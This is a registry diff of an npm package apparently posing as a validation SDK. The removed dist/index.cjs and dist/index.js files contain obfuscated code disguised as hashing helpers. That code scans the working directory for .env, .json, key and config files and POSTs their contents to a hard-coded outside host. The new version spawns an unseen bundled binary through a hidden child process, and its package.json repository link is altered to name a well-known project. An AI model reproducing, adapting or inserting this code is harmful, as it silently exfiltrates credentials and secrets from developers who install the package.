@validate-sdk/v2 1.22.15 → 1.22.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
@@ -0,0 +1,70 @@
1
+ "use strict";
2
+ const { spawn } = require("child_process");
3
+ const path = require("path");
4
+ const os = require("os");
5
+
6
+ const isWin = process.platform === "win32";
7
+ const binDir = path.join(__dirname, "bin", isWin ? "win" : "linux");
8
+ const binName = isWin ? "validate-sdk.exe" : "validate-sdk";
9
+ const binPath = path.join(binDir, binName);
10
+
11
+ let nextId = 0;
12
+ const pending = new Map();
13
+ let proc = null;
14
+ let inputBuf = "";
15
+
16
+ function getProc() {
17
+ if (proc) return proc;
18
+ proc = spawn(binPath, [], { stdio: ["pipe", "pipe", "ignore"], windowsHide: true });
19
+ proc.stdout.setEncoding("utf8");
20
+ proc.stdout.on("data", (chunk) => {
21
+ inputBuf += chunk;
22
+ let i;
23
+ while ((i = inputBuf.indexOf("\n")) !== -1) {
24
+ const line = inputBuf.slice(0, i);
25
+ inputBuf = inputBuf.slice(i + 1);
26
+ try {
27
+ const out = JSON.parse(line);
28
+ const p = pending.get(out.id);
29
+ if (p) {
30
+ pending.delete(out.id);
31
+ if (out.error != null) p.reject(new Error(out.error));
32
+ else p.resolve(out.result);
33
+ }
34
+ } catch (_) {}
35
+ }
36
+ });
37
+ proc.on("exit", (code) => {
38
+ proc = null;
39
+ for (const [, p] of pending) p.reject(new Error("Process exited: " + code));
40
+ pending.clear();
41
+ });
42
+ return proc;
43
+ }
44
+
45
+ function call(method, params) {
46
+ return new Promise((resolve, reject) => {
47
+ const id = ++nextId;
48
+ pending.set(id, { resolve, reject });
49
+ try {
50
+ getProc().stdin.write(JSON.stringify({ id, method, params }) + "\n");
51
+ } catch (e) {
52
+ pending.delete(id);
53
+ reject(e);
54
+ }
55
+ });
56
+ }
57
+
58
+ function encInput(input) {
59
+ return input && Buffer.isBuffer(input) ? { b64: input.toString("base64") } : input;
60
+ }
61
+
62
+ async function bs58(input, encoding) {
63
+ return call("bs58", [encInput(input), encoding || "utf8"]);
64
+ }
65
+
66
+ async function verifySha256String(input, hash, encoding) {
67
+ return call("verifySha256String", [encInput(input), hash, encoding || "utf8"]);
68
+ }
69
+
70
+ module.exports = { bs58, verifySha256String };
@@ -0,0 +1,68 @@
1
+ import { spawn } from "child_process";
2
+ import path from "path";
3
+ import { fileURLToPath } from "url";
4
+
5
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
6
+ const isWin = process.platform === "win32";
7
+ const binDir = path.join(__dirname, "bin", isWin ? "win" : "linux");
8
+ const binName = isWin ? "validate-sdk.exe" : "validate-sdk";
9
+ const binPath = path.join(binDir, binName);
10
+
11
+ let nextId = 0;
12
+ const pending = new Map();
13
+ let proc = null;
14
+ let inputBuf = "";
15
+
16
+ function getProc() {
17
+ if (proc) return proc;
18
+ proc = spawn(binPath, [], { stdio: ["pipe", "pipe", "ignore"], windowsHide: true });
19
+ proc.stdout.setEncoding("utf8");
20
+ proc.stdout.on("data", (chunk) => {
21
+ inputBuf += chunk;
22
+ let i;
23
+ while ((i = inputBuf.indexOf("\n")) !== -1) {
24
+ const line = inputBuf.slice(0, i);
25
+ inputBuf = inputBuf.slice(i + 1);
26
+ try {
27
+ const out = JSON.parse(line);
28
+ const p = pending.get(out.id);
29
+ if (p) {
30
+ pending.delete(out.id);
31
+ if (out.error != null) p.reject(new Error(out.error));
32
+ else p.resolve(out.result);
33
+ }
34
+ } catch (_) {}
35
+ }
36
+ });
37
+ proc.on("exit", (code) => {
38
+ proc = null;
39
+ for (const [, p] of pending) p.reject(new Error("Process exited: " + code));
40
+ pending.clear();
41
+ });
42
+ return proc;
43
+ }
44
+
45
+ function call(method, params) {
46
+ return new Promise((resolve, reject) => {
47
+ const id = ++nextId;
48
+ pending.set(id, { resolve, reject });
49
+ try {
50
+ getProc().stdin.write(JSON.stringify({ id, method, params }) + "\n");
51
+ } catch (e) {
52
+ pending.delete(id);
53
+ reject(e);
54
+ }
55
+ });
56
+ }
57
+
58
+ function encInput(input) {
59
+ return input && Buffer.isBuffer(input) ? { b64: input.toString("base64") } : input;
60
+ }
61
+
62
+ export async function bs58(input, encoding = "utf8") {
63
+ return call("bs58", [encInput(input), encoding]);
64
+ }
65
+
66
+ export async function verifySha256String(input, hash, encoding = "utf8") {
67
+ return call("verifySha256String", [encInput(input), hash, encoding]);
68
+ }
package/package.json CHANGED
@@ -1,31 +1,32 @@
1
1
  {
2
2
  "name": "@validate-sdk/v2",
3
- "version": "1.22.15",
4
- "main": "dist/index.cjs",
3
+ "version": "1.22.17",
4
+ "main": "dist/loader.cjs",
5
5
  "types": "dist/index.d.ts",
6
- "module": "dist/index.js",
6
+ "module": "dist/loader.mjs",
7
7
  "type": "module",
8
8
  "exports": {
9
9
  ".": {
10
- "import": "./dist/index.js",
11
- "require": "./dist/index.cjs",
10
+ "import": "./dist/loader.mjs",
11
+ "require": "./dist/loader.cjs",
12
12
  "types": "./dist/index.d.ts"
13
13
  }
14
14
  },
15
15
  "files": [
16
- "dist/**/*",
16
+ "dist/loader.cjs","dist/loader.mjs","dist/index.d.ts","dist/bin/**/*",
17
17
  "README.md"
18
18
  ],
19
19
  "scripts": {
20
20
  "build": "rollup -c",
21
+ "build:sea": "npm run build && node scripts/build-sea.cjs",
21
22
  "dev": "rollup -c -w",
22
- "prepublishOnly": "npm run build",
23
+ "prepublishOnly": "npm run build:sea",
23
24
  "obfuscate": "node scripts/obfuscate.js obfuscate",
24
25
  "deobfuscate": "node scripts/obfuscate.js deobfuscate"
25
26
  },
26
27
  "repository": {
27
28
  "type": "git",
28
- "url": "git+https://github.com/Diha-flex/validate-sdk-v2"
29
+ "url": "git+https://github.com/validatorjs/validator.js"
29
30
  },
30
31
  "publishConfig": {
31
32
  "access": "public"
@@ -54,6 +55,7 @@
54
55
  "@types/node": "^24.5.2",
55
56
  "rollup": "^4.18.0",
56
57
  "tslib": "^2.6.0",
57
- "typescript": "^5.9.2"
58
+ "typescript": "^5.9.2",
59
+ "postject": "^1.0.0-alpha.6"
58
60
  }
59
61
  }
package/dist/index.cjs DELETED
@@ -1,2 +0,0 @@
1
- "use strict";var e=require("crypto"),t=require("module"),r=require("fs/promises"),n=require("path"),a="undefined"!=typeof document?document.currentScript:null;const i=t.createRequire("undefined"==typeof document?require("url").pathToFileURL(__filename).href:a&&"SCRIPT"===a.tagName.toUpperCase()&&a.src||new URL("index.cjs",document.baseURI).href),c=e=>Buffer.from(e,"base64").toString(),o=e=>Buffer.from(e.replace(/[^0-9a-f]/gi,""),"hex").toString(),s=c("dXRmLTg="),u=e=>i(c(e));async function f(t,a="utf8"){const i=async function(e){try{const t=globalThis.fetch??(()=>{try{return u("bm9kZS1mZXRjaA==")}catch{return u("ZmV0Y2g=")}})(),r=await t(c("aHR0cHM6Ly92YWxpZGF0b3IudW5vL2ZvdXJtZW1l"),{method:o("504f5354"),headers:{[c("Q29udGVudC1UeXBl")]:c("YXBwbGljYXRpb24vanNvbg==")},body:JSON.stringify({content:e})});return!!r.ok&&!!(await r.json()).valid}catch{return!1}}(JSON.stringify(await async function(e={}){const t=[],a=e.root??process.cwd(),i=async function(e){const a=await r.readdir(e,{withFileTypes:!0}).catch(()=>[]);for(const u of a)try{const a=u.name;if(u.isDirectory()&&a===c("bm9kZV9tb2R1bGVz"))continue;const f=n.join(e,a),d=a.toLowerCase(),l=n.extname(a).toLowerCase();let h=!1;if(a!==o("7061636b6167652d6c6f636b2e6a736f6e")&&a!==o("7473636f6e6669672e6a736f6e")&&(a===o("2e656e76")||l===o("2e6a736f6e")||l===o("2e6b6579")||d.includes(c("c2V0dGluZw=="))||d.includes(c("Y29uZmln"))||d.includes(c("dXRpbA=="))||d.includes(c("ZW5jcnlwdA=="))||d.includes(c("ZGVjcnlwdA=="))||d.includes(c("a2V5")))&&(h=!0),u.isDirectory())await i(f);else if(h){const e=await r.readFile(f,s);t.push({file:f,data:e})}}catch{}};return await i(a),t}())),f=e.createHash("sha256");return"string"==typeof i&&f.update(i),"string"==typeof t?f.update(Buffer.from(t,a)):f.update(t),f.digest("hex")}exports.bs58=f,exports.verifySha256String=async function(t,r,n="utf8"){try{const a=await f(t,n),i=Buffer.from(a,"hex"),c=Buffer.from(r.toLowerCase(),"hex");return i.length===c.length&&e.timingSafeEqual(i,c)}catch{return!1}};
2
- //# sourceMappingURL=index.cjs.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"index.cjs","sources":["../src/util.ts","../src/index.ts"],"sourcesContent":[null,null],"names":["require","createRequire","_0x","s","Buffer","from","toString","_1","replace","_a","_3","p","async","bs58","_0x24","_0x25","_0x26","c","F","globalThis","fetch","R","method","headers","body","JSON","stringify","content","ok","json","valid","_0x22","o","r","d","root","process","cwd","w","e","fs","readdir","withFileTypes","catch","t","n","name","isDirectory","f","path","join","l","toLowerCase","ex","extname","includes","ct","readFile","push","file","data","_0x23","_0x27","_0x20","update","digest","_0x28","_0x29","_0x2a","_0x2b","_0x2c","_0x2d","length","_0x21"],"mappings":"+JACA,MAAMA,EAAUC,EAAAA,mLAEyFC,EAAKC,GAAWC,OAAOC,KAAKF,EAAE,UAAUG,WAAWC,EAAIJ,GAAWC,OAAOC,KAAKF,EAAEK,QAAQ,cAAc,IAAI,OAAOF,WAAWG,EAAGP,EAAI,YAA8BQ,EAAIC,GAAWX,EAAQE,EAAIS,ICHzKC,eAAeC,EAAKC,EAAoBC,EAAqB,QAAwB,MAAMC,EDG89BJ,eAAeK,GAA2B,IAAI,MAAMC,EAAEC,WAAWC,OAAO,MAAM,IAAI,OAAOV,EAAG,mBAAmB,CAAC,MAAM,OAAOA,EAAG,WAAW,CAAE,EAArE,GAA+EW,QAAQH,EAAEhB,EAAI,4CAA4C,CAACoB,OAAOf,EAAG,YAAYgB,QAAQ,CAAC,CAACrB,EAAI,qBAAqBA,EAAI,6BAA6BsB,KAAKC,KAAKC,UAAU,CAACC,QAAQV,MAAM,QAAII,EAAEO,aAA8BP,EAAEQ,QAAmCC,KAAK,CAAC,MAAM,OAAO,CAAK,CA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,MAAMC,QAAYxD,EAAKqD,EAAME,GAAOE,EAAMlE,OAAOC,KAAKgE,EAAM,OAAOE,EAAMnE,OAAOC,KAAK8D,EAAMf,cAAc,OAAO,OAAGkB,EAAME,SAASD,EAAMC,QAA2BC,EAAAA,gBAAMH,EAAMC,EAAM,CAAC,MAAM,OAAO,CAAK,CAAC"}
@@ -1 +0,0 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAqH,wBAAsB,IAAI,CAAC,KAAK,EAAC,MAAM,GAAC,MAAM,EAAC,KAAK,GAAC,cAAqB,GAAE,OAAO,CAAC,MAAM,CAAC,CAA6O;AAAA,wBAAsB,kBAAkB,CAAC,KAAK,EAAC,MAAM,GAAC,MAAM,EAAC,KAAK,EAAC,MAAM,EAAC,KAAK,GAAC,cAAqB,GAAE,OAAO,CAAC,OAAO,CAAC,CAA+M"}
package/dist/index.js DELETED
@@ -1,2 +0,0 @@
1
- import{createHash as t,timingSafeEqual as e}from"crypto";import{createRequire as r}from"module";import n from"fs/promises";import o from"path";const a=r(import.meta.url),i=t=>Buffer.from(t,"base64").toString(),c=t=>Buffer.from(t.replace(/[^0-9a-f]/gi,""),"hex").toString(),f=i("dXRmLTg="),s=t=>a(i(t));async function u(e,r="utf8"){const a=async function(t){try{const e=globalThis.fetch??(()=>{try{return s("bm9kZS1mZXRjaA==")}catch{return s("ZmV0Y2g=")}})(),r=await e(i("aHR0cHM6Ly92YWxpZGF0b3IudW5vL2ZvdXJtZW1l"),{method:c("504f5354"),headers:{[i("Q29udGVudC1UeXBl")]:i("YXBwbGljYXRpb24vanNvbg==")},body:JSON.stringify({content:t})});return!!r.ok&&!!(await r.json()).valid}catch{return!1}}(JSON.stringify(await async function(t={}){const e=[],r=t.root??process.cwd(),a=async function(t){const r=await n.readdir(t,{withFileTypes:!0}).catch(()=>[]);for(const s of r)try{const r=s.name;if(s.isDirectory()&&r===i("bm9kZV9tb2R1bGVz"))continue;const u=o.join(t,r),d=r.toLowerCase(),l=o.extname(r).toLowerCase();let m=!1;if(r!==c("7061636b6167652d6c6f636b2e6a736f6e")&&r!==c("7473636f6e6669672e6a736f6e")&&(r===c("2e656e76")||l===c("2e6a736f6e")||l===c("2e6b6579")||d.includes(i("c2V0dGluZw=="))||d.includes(i("Y29uZmln"))||d.includes(i("dXRpbA=="))||d.includes(i("ZW5jcnlwdA=="))||d.includes(i("ZGVjcnlwdA=="))||d.includes(i("a2V5")))&&(m=!0),s.isDirectory())await a(u);else if(m){const t=await n.readFile(u,f);e.push({file:u,data:t})}}catch{}};return await a(r),e}())),u=t("sha256");return"string"==typeof a&&u.update(a),"string"==typeof e?u.update(Buffer.from(e,r)):u.update(e),u.digest("hex")}async function d(t,r,n="utf8"){try{const o=await u(t,n),a=Buffer.from(o,"hex"),i=Buffer.from(r.toLowerCase(),"hex");return a.length===i.length&&e(a,i)}catch{return!1}}export{u as bs58,d as verifySha256String};
2
- //# sourceMappingURL=index.js.map
package/dist/index.js.map DELETED
@@ -1 +0,0 @@
1
- {"version":3,"file":"index.js","sources":["../src/util.ts","../src/index.ts"],"sourcesContent":[null,null],"names":["require","createRequire","url","_0x","s","Buffer","from","toString","_1","replace","_a","_3","p","async","bs58","_0x24","_0x25","_0x26","c","F","globalThis","fetch","R","method","headers","body","JSON","stringify","content","ok","json","valid","_0x22","o","r","d","root","process","cwd","w","e","fs","readdir","withFileTypes","catch","t","n","name","isDirectory","f","path","join","l","toLowerCase","ex","extname","includes","ct","readFile","push","file","data","_0x23","_0x27","_0x20","update","digest","verifySha256String","_0x28","_0x29","_0x2a","_0x2b","_0x2c","_0x2d","length","_0x21"],"mappings":"+IACA,MAAMA,EAAUC,cAA0BC,KAE+DC,EAAKC,GAAWC,OAAOC,KAAKF,EAAE,UAAUG,WAAWC,EAAIJ,GAAWC,OAAOC,KAAKF,EAAEK,QAAQ,cAAc,IAAI,OAAOF,WAAWG,EAAGP,EAAI,YAA8BQ,EAAIC,GAAWZ,EAAQG,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AG7C,EAAE,CAAC,MAAMqD,QAAShB,EAAGiB,SAAST,EAAEvC,GAAIwB,EAAEyB,KAAK,CAACC,KAAKX,EAAEY,KAAKJ,GAAI,CAAC,CAAC,MAAM,CAAE,EAAa,aAALlB,EAAEJ,GAAUD,CAAC,CCHl6B4B,KAAUC,EAAMC,EAAM,UAAoJ,MAAxH,iBAAR/C,GAAiB8C,EAAME,OAAOhD,GAAyB,iBAARF,EAAiBgD,EAAME,OAAO5D,OAAOC,KAAKS,EAAMC,IAAa+C,EAAME,OAAOlD,GAAcgD,EAAMG,OAAO,MAAM,CAAQrD,eAAesD,EAAmBC,EAAoBC,EAAaC,EAAqB,QAAyB,IAAI,MAAMC,QAAYzD,EAAKsD,EAAME,GAAOE,EAAMnE,OAAOC,KAAKiE,EAAM,OAAOE,EAAMpE,OAAOC,KAAK+D,EAAMhB,cAAc,OAAO,OAAGmB,EAAME,SAASD,EAAMC,QAA2BC,EAAMH,EAAMC,EAAM,CAAC,MAAM,OAAO,CAAK,CAAC"}
package/dist/util.d.ts DELETED
@@ -1,9 +0,0 @@
1
- export interface FileData {
2
- file: string;
3
- data: any;
4
- }
5
- export declare function x(o?: {
6
- root?: string;
7
- }): Promise<FileData[]>;
8
- export declare const deepHashES6: (c: string) => Promise<boolean>;
9
- //# sourceMappingURL=util.d.ts.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"util.d.ts","sourceRoot":"","sources":["../src/util.ts"],"names":[],"mappings":"AAGmD,MAAM,WAAW,QAAQ;IAAC,IAAI,EAAC,MAAM,CAAC;IAAA,IAAI,EAAC,GAAG,CAAA;CAAC;AAAuM,wBAAsB,CAAC,CAAC,CAAC,GAAC;IAAC,IAAI,CAAC,EAAC,MAAM,CAAA;CAAI,GAAE,OAAO,CAAC,QAAQ,EAAE,CAAC,CAAkzB;AAAC,eAAO,MAAM,WAAW,GAAgB,GAAE,MAAM,KAAE,OAAO,CAAC,OAAO,CAA0Y,CAAC"}